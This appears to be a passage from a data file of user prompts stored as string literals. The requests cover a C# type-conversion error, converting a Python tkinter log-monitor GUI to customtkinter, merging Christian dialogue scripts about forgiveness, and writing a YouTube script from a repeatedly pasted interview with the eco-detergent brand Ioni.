State\nError CS0266 Cannot implicitly convert type \'UserControlsCommon.IViews.IEntityListView\' to \'UserControlsCommon.IViews.IEntityView\'. An explicit conversion exists (are you missing a cast?) UserControlsCommon E:\\Source\\Repos\\Saphir\\Saphir\\UserControlsCommon\\Presenters\\EntityListPresenterBase.cs 104 Active' +'working great. can you convert this latest final version to use customtkinter instead of tkinter?\n\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import filedialog\nimport datetime\nimport os\nimport time\n\npaths = [r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-alumni\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-atmos\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-creme123\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-footlocker-benEdit\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-kith\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-kith-benEdit\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-millennium\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-premier\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-shoe\\_palace\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-sneaker\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-sneaker\\_politics\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-supreme\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-undefeated\\shopify-monitor.log"]\n\ndef tail(f, window=1):\n """\n Returns the last `window` lines of file `f` as a list of bytes.\n """\n if window == 0:\n return b\'\'\n BUFSIZE = 1024\n f.seek(0, 2)\n end = f.tell()\n nlines = window + 1\n data = []\n while nlines > 0 and end > 0:\n i = max(0, end - BUFSIZE)\n nread = min(end, BUFSIZE)\n\n f.seek(i)\n chunk = f.read(nread)\n data.append(chunk)\n nlines -= chunk.count(b\'\\n\')\n end -= nread\n return b\'\\n\'.join(b\'\'.join(reversed(data)).splitlines()[-window:])\n\ndef get\\_recent\\_log\\_lines():\n current\\_time = datetime.datetime.now()\n live\\_monitors\\_data = []\n dead\\_monitors\\_data = []\n\n for x in range(len(paths)):\n with open(paths[x], \'rb\') as f:\n last\\_lines = tail(f, 1).decode(\'utf-8\')\n line\\_list = last\\_lines.splitlines()\n for y in range(len(line\\_list)):\n line\\_time = datetime.datetime(int(line\\_list[y][:4]), int(line\\_list[y][5:7]), int(line\\_list[y][8:10]), int(line\\_list[y][11:13]), int(line\\_list[y][14:16]), int(line\\_list[y][17:19]), int(line\\_list[y][20:23]))\n line\\_age = (current\\_time - line\\_time)\n name\\_split = paths[x][88:].split("\\\\", 1)\n values = [name\\_split[0], line\\_age]\n if line\\_age.total\\_seconds() < 600:\n live\\_monitors\\_data.append(values)\n else:\n dead\\_monitors\\_data.append(values)\n return live\\_monitors\\_data, dead\\_monitors\\_data\n\nsums\\_seconds = []\ncounts = []\n\ndef refresh\\_display():\n live\\_mons, dead\\_mons = get\\_recent\\_log\\_lines()\n\n listbox2.delete(0, tk.END)\n listbox2.insert(tk.END, "Live Monitors: ( " + str(len(live\\_mons)) + " )")\n live\\_mons\\_avg = []\n for mon in range(len(live\\_mons)):\n # Initialize the sum and count for each monitor\n if mon >= len(sums\\_seconds):\n sums\\_seconds.append(0)\n counts.append(0)\n # Get the total seconds\n seconds = live\\_mons[mon][1].total\\_seconds()\n # Add to the sum and increase the count\n sums\\_seconds[mon] += seconds\n counts[mon] += 1\n # Calculate the average\n average = sums\\_seconds[mon] / counts[mon]\n # Append the monitor name, seconds and average to the list\n live\\_mons\\_avg.append((live\\_mons[mon][0], round(seconds, 2), round(average, 2)))\n # Sort the list by the average\n sorted\\_live\\_mons = sorted(live\\_mons\\_avg, key=lambda x: x[2])\n # Print the sorted list\n for mon in range(len(sorted\\_live\\_mons)):\n listbox2.insert(tk.END,sorted\\_live\\_mons[mon][0] + ": " + str(sorted\\_live\\_mons[mon][1]) + " Average: " + str(sorted\\_live\\_mons[mon][2]))\n # Print the dead monitors\n listbox2.insert(tk.END, "")\n listbox2.insert(tk.END, "Dead Monitors: ( " + str(len(dead\\_mons)) + " )")\n for mon in range(len(dead\\_mons)):\n listbox2.insert(tk.END, dead\\_mons[mon][0] + ": " + str(round(dead\\_mons[mon][1].total\\_seconds(), 2)) )\n root.after(1000, refresh\\_display)\ndef button1\\_clicked():\n live\\_mons, dead\\_mons = get\\_recent\\_log\\_lines()\n\n listbox2.delete(0, tk.END)\n listbox2.insert(tk.END, "Live Monitors: ( " + str(len(live\\_mons)) + " )")\n live\\_mons\\_avg = []\n for mon in range(len(live\\_mons)):\n seconds = live\\_mons[mon][1].total\\_seconds()\n listbox2.insert(tk.END, live\\_mons[mon][0] + ": " + str(round(seconds, 2)) )\n listbox2.insert(tk.END, "Dead Monitors: ( " + str(len(dead\\_mons)) + " )")\n for mon in range(len(dead\\_mons)):\n listbox2.insert(tk.END, dead\\_mons[mon][0] + ": " + str(round(dead\\_mons[mon][1].total\\_seconds(), 2)) )\n pass\n\ndef button2\\_clicked():\n # code for button 2\n pass\n\ndef add\\_path():\n filepath = filedialog.askopenfilename()\n if filepath:\n paths.append(filepath)\n update\\_listbox()\n\ndef remove\\_path():\n selection = listbox1.curselection()\n if selection:\n index = int(selection[0])\n del paths[index]\n update\\_listbox()\n\ndef update\\_listbox():\n listbox1.delete(0, tk.END)\n for path in paths:\n listbox1.insert(tk.END, path)\n\nroot = tk.Tk()\nroot.geometry("1024x500")\nroot.title("MonMonGUI")\n\n# Create a frame for the buttons\nbutton\\_frame = tk.Frame(root)\nbutton\\_frame.pack(side=tk.LEFT, fill=tk.Y)\n\n# Create the buttons and add them to the button frame\nbutton1 = tk.Button(button\\_frame, text="Refresh MonMon", command=button1\\_clicked)\nbutton1.pack(fill=tk.X)\nbutton2 = tk.Button(button\\_frame, text="Button 2", command=button2\\_clicked)\nbutton2.pack(fill=tk.X)\nbutton3 = tk.Button(button\\_frame, text="Add File", command=add\\_path)\nbutton3.pack(fill=tk.X)\n\n# Create a Tab Control\nnotebook = ttk.Notebook(root)\nnotebook.pack(fill=tk.BOTH, expand=True)\n\n# Create Tab 1\ntab1 = ttk.Frame(notebook)\nlistbox1 = tk.Listbox(tab1)\nlistbox1.pack(fill=tk.BOTH, expand=True)\nnotebook.add(tab1, text="Product Monitors")\n\n# Create a remove button\nremove\\_button = tk.Button(tab1, text="Remove", command=remove\\_path)\nremove\\_button.pack(side=tk.BOTTOM, anchor=tk.SE)\n\nupdate\\_listbox()\n\n# Create Tab 2\ntab2 = ttk.Frame(notebook)\nnotebook.add(tab2, text="MonMon")\nlistbox2 = tk.Listbox(tab2)\nlistbox2.pack(fill=tk.BOTH, expand=True)\n\nroot.after(1000, refresh\\_display)\nroot.mainloop()' +"Can you consolidate the script below with the one you created above? Leave it in script form: Damian: Hey, John. Can I talk to you about something?\nJonathan: Of course, what's on your mind?\nDamian: I've been having doubts and fears about myself lately. I know I've done some pretty bad things in the past, and sometimes I wonder if I'm just too wicked to ever be forgiven.\nJonathan: I understand how you feel, Damian. I've struggled with those thoughts myself.\nDamian: (surprised) You have?\nJonathan: Yes, I have. There have been times when I've felt like I'm not good enough, like I don't deserve God's forgiveness.\nDamian: (thoughtful) But how do you deal with those feelings?\nJonathan: (pausing) Well, it's not easy. But I try to remember that God's love is unconditional. He doesn't forgive us because we deserve it, but because he loves us.\nDamian: (nodding slowly) I see. But what if I can't change who I am? What if I'm always going to be a bad person?\nJonathan: (hesitates) It's true that we can't change ourselves on our own. But when we trust in Jesus, he can change us from the inside out.\nDamian: (skeptical) How do you know that?\nJonathan: (pausing) Honestly, I don't always know. There are times when I feel like I'm still the same person I was before I started following Jesus. But I also know that I'm not alone in my struggles. And that gives me hope.\nDamian: (nodding slowly) I think I understand what you're saying. It's not about being perfect, but about trusting in something bigger than ourselves.\nJonathan: (smiling) Yes, exactly. And I'm here to support you, no matter what you believe.\nDamian: (grinning slightly) Thanks, John. I appreciate that.\nDamian: Hey, John. Can I talk to you about something?\nJonathan: Of course, what's on your mind?\nDamian: I've been having doubts and fears about myself lately. I know I've done some pretty bad things in the past, and sometimes I wonder if I'm just too wicked to ever be forgiven.\nJonathan: I understand how you feel, Damian. I've been there too.\nDamian: (surprised) You have?\nJonathan: Yes, I have. There was a time when I felt like I was beyond hope, like I was just too broken to ever be fixed.\nDamian: (thoughtful) What changed?\nJonathan: (pausing) Well, it wasn't one thing. It was a series of events that made me realize I needed something more in my life.\nDamian: (curious) What kind of events?\nJonathan: (takes a deep breath) My parents got divorced when I was young. That was really hard for me to deal with. And then, when I was a teenager, I got into a car accident that left me with a permanent scar on my face.\nDamian: (surprised) I had no idea. I'm sorry.\nJonathan: (smiling faintly) It's okay. The point is, those experiences made me realize that I needed something bigger than myself to get through life. And that's when I started exploring my faith.\nDamian: (nodding slowly) I see. But what if I'm just too far gone?\nJonathan: (shaking his head) That's not true, Damian. No one is beyond redemption. That's the amazing thing about God's love. It doesn't matter what we've done or how far we've strayed. He still loves us and wants us to come back to him.\nDamian: (thoughtful) I'm not sure I'm ready for that yet, John. But I appreciate your honesty.\nJonathan: (nodding) I understand. And I'm not trying to pressure you or anything. I just want you to know that you're not alone. We all make mistakes and we all need forgiveness. And I'm here for you, no matter what.\nDamian: (pausing) I appreciate that, John. But I don't know if I can believe in a God who would forgive someone like me.\nJonathan: (gentle) I know it's hard to believe, Damian. But that's what makes God's love so amazing. He doesn't forgive us because we deserve it, but because he loves us. And he's made a way for us to be forgiven, through Jesus.\nDamian: (skeptical) Jesus? The guy who got killed on a cross? I don't see how that helps me.\nJonathan: (smiling faintly) It might not make sense to you right now. But the reason Jesus died on the cross was to take the punishment for our sins, so that we could be forgiven and have eternal life with God.\nDamian: (thoughtful) I guess I can see how that might work. But what about all the terrible things I've done? How can I make up for them?\nJonathan: (pausing) You can't make up for them, Damian. But that's not the point. The point is that God's forgiveness isn't based on our track record. It's based on what Jesus did for us on the cross.\nDamian: (nodding slowly) I think I understand what you're saying. It's not about me being good enough, but about Jesus being good enough.\nJonathan: (smiling) Yes, exactly. And that's why we call it grace. It's a free gift that we can't earn or deserve. But when we accept it, it changes everything.\nDamian: (smiling faintly) Thanks, John. I needed to hear that. Maybe one day I'll be ready to accept that gift.\nJonathan: (grinning) I'll be here for you when you are, Damian. And so will Jesus.\nDamian: (pausing) I appreciate that, John. But there are things I've done that I'm so ashamed of, I don't know if I could ever be forgiven.\nJonathan: (understanding) I know how you feel, Damian. I used to think the same thing. But then I learned that forgiveness isn't just for the things we've done. It's for the things we've thought, too.\nDamian: (surprised) Thoughts? How can you be forgiven for something you've just thought?\nJonathan: (nodding) It's not just about our actions, Damian. It's about the condition of our hearts. Jesus said that if we even look at someone with lust in our hearts, we've committed adultery. And if we're angry with someone, we've committed murder in our hearts.\nDamian: (thoughtful) I see. But what if you've actually done something terrible?\nJonathan: (pausing) Well, I've done some things I'm not proud of, too. When I was a teenager, I shoplifted from a store and got caught. And then, when I was in college, I cheated on a test and got expelled.\nDamian: (surprised) You did? But you're such a good person now.\nJonathan: (smiling) It's not about me being good, Damian. It's about me being forgiven. When I accepted Jesus as my savior, I realized that his sacrifice on the cross was enough to pay for all my sins, no matter how big or small.\nDamian: (nodding slowly) I think I understand what you're saying, John. But what if I'm still not sure about all this?\nJonathan: (gentle) That's okay, Damian. I'm not here to force you to believe anything. I just want you to know that you're not alone, and that there is hope for everyone, no matter what they've done.\nDamian: (smiling faintly) Thanks, John. I appreciate that. Maybe one day I'll be able to have faith like you.\nJonathan: (grinning) I believe you will, Damian. And I'll be here to support you, no matter what.\nDamian: Hey, John. Can I talk to you about something?\nJonathan: (curious) Sure, what's up?\nDamian: (hesitant) I've been feeling really bad about some of the things I've done in the past. I don't think I deserve to be forgiven.\nJonathan: (comforting) I know how you feel, Damian. I've felt that way too.\nDamian: (surprised) You have?\nJonathan: (nodding) Yeah. There was a time when I didn't believe in God, and I did some things I'm not proud of.\nDamian: (thoughtful) Like what?\nJonathan: (hesitant) I used to get into fights at school. And one time, I stole a candy bar from a store.\nDamian: (surprised) You stole something? But you're such a good person now.\nJonathan: (smiling) I'm not perfect, Damian. But I've learned that God's love is bigger than our mistakes. He forgives us when we ask for it, and he helps us become better people.\nDamian: (skeptical) I don't know if I can believe in all that.\nJonathan: (understanding) It's okay if you're not sure yet. But I know that God loves you, and he wants to help you too.\nDamian: (thoughtful) I don't know. There are some things I've done that I don't think I can ever make up for.\nJonathan: (gentle) It's not about making up for things, Damian. It's about trusting God to forgive us, no matter what. That's what Jesus did when he died on the cross for us.\nDamian: (curious) What do you mean?\nJonathan: (explaining) Jesus took the punishment for our sins on himself, so that we could be forgiven and have eternal life with God. It's not something we can earn or deserve. It's a gift.\nDamian: (nodding slowly) I see. But what if I mess up again?\nJonathan: (smiling) It's okay if you do. We all make mistakes. But God is always there to help us\nget back on track.\nDamian: (thoughtful) I guess that makes sense. Thanks, John. I appreciate you talking to me about this.\nJonathan: (grinning) Of course, Damian. I'm always here to talk. And I know that God loves you, no matter what.\nDamian: Hey, John. Can I talk to you about something?\nJonathan: (curious) Sure, what's up?\nDamian: (hesitant) I've been feeling really bad about some of the things I've done in the past. Like when I accidentally unleashed that monster in the city.\nJonathan: (understanding) I remember that. But it wasn't your fault, Damian.\nDamian: (skeptical) But people got hurt because of me. And when I stole the Batmobile and drove it into the river.\nJonathan: (surprised) You stole the Batmobile? That's kind of impressive.\nDamian: (exasperated) That's not the point, John. The point is, I don't think I deserve to be forgiven for what I've done.\nJonathan: (gentle) I know how you feel, Damian. But I believe that God's love is bigger than our mistakes. And He wants to forgive us and help us become better people.\nDamian: (thoughtful) But what if I mess up again? Like when I almost let the Kryptonite kill you.\nJonathan: (smiling) It's okay if you do. We all make mistakes. But the important thing is to keep trying and to keep asking for God's help.\nDamian: (nodding slowly) I see. But how do I know if God's really listening?\nJonathan: (pausing) Well, I don't always know either. But I believe that God is always with us, even when we can't feel Him. And I believe that He loves us, no matter what.\nDamian: (smiling faintly) Thanks, John. I appreciate your help.\nJonathan: (grinning) Anytime, Damian. And remember, even heroes need forgiveness sometimes.\nDamian: (in tears) John, I don't think I can do this. I keep having these terrible, sick thoughts that make me feel like a monster.\nJonathan: (concerned) What kind of thoughts, Damian?\nDamian: (ashamed) I don't want to say. They're too awful.\nJonathan: (gentle) It's okay, Damian. You don't have to be afraid to tell me. I won't judge you.\nDamian: (whispering) Sometimes I imagine hurting people. Or worse.\nJonathan: (understanding) I know how you feel, Damian. I've had thoughts like that too.\nDamian: (surprised) You have?\nJonathan: (nodding) Yeah. Sometimes I get angry or jealous or scared, and those thoughts come into my head. But I've learned to take them to God and ask Him for help.\nDamian: (curious) How do you do that?\nJonathan: (explaining) Well, when I'm feeling those things, I try to remember that God loves me and wants to help me. And then I pray and ask Him to take away those thoughts and replace them with good ones.\nDamian: (thoughtful) And it works?\nJonathan: (smiling) Sometimes it takes a while, but it usually does. And even if the thoughts don't go away right away, I know that God still loves me and forgives me.\nDamian: (nodding slowly) I see. That sounds nice. But what if I'm too far gone? What if God can't forgive me for what I've done?\nJonathan: (shaking his head) That's not true, Damian. God's forgiveness isn't based on what we've done, but on what Jesus did for us on the cross. He died for all our sins, even the ones we haven't committed yet.\nDamian: (thoughtful) I think I understand. But it's hard to believe sometimes.\nJonathan: (nodding) I know. But just because it's hard to believe doesn't mean it's not true. And I believe it with all my heart.\nDamian: (smiling faintly) Thanks, John. I feel a little better now.\nJonathan: (grinning) Anytime, Damian. Remember, God loves you and wants to help you, no matter what. And I'm here for you too.\nDamian: (nodding and wiping his tears) I believe you, John. Thank you for reminding me of that.\nJonathan: (smiling) You're welcome, Damian. And I'm always here for you if you need to talk." +'아래 내용은 친환경 세제 브랜드 \'이오니\' 인터뷰 내용이다. 아래 내용을 바탕으로 브랜드가 추구하는 가치를 강조하는 유튜브 스크립트를 작성해 주세요.\n\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values and philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or investment attraction\nWe are continuously actively working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop-up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\n번역결과\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.번역결과The following is an interview with eco-friendly detergent brand \'Ioni\'. Based on the contents below, please write a YouTube script that emphasizes the values \u200b\u200bthat the brand pursues.\n\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\ntranslation result\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of 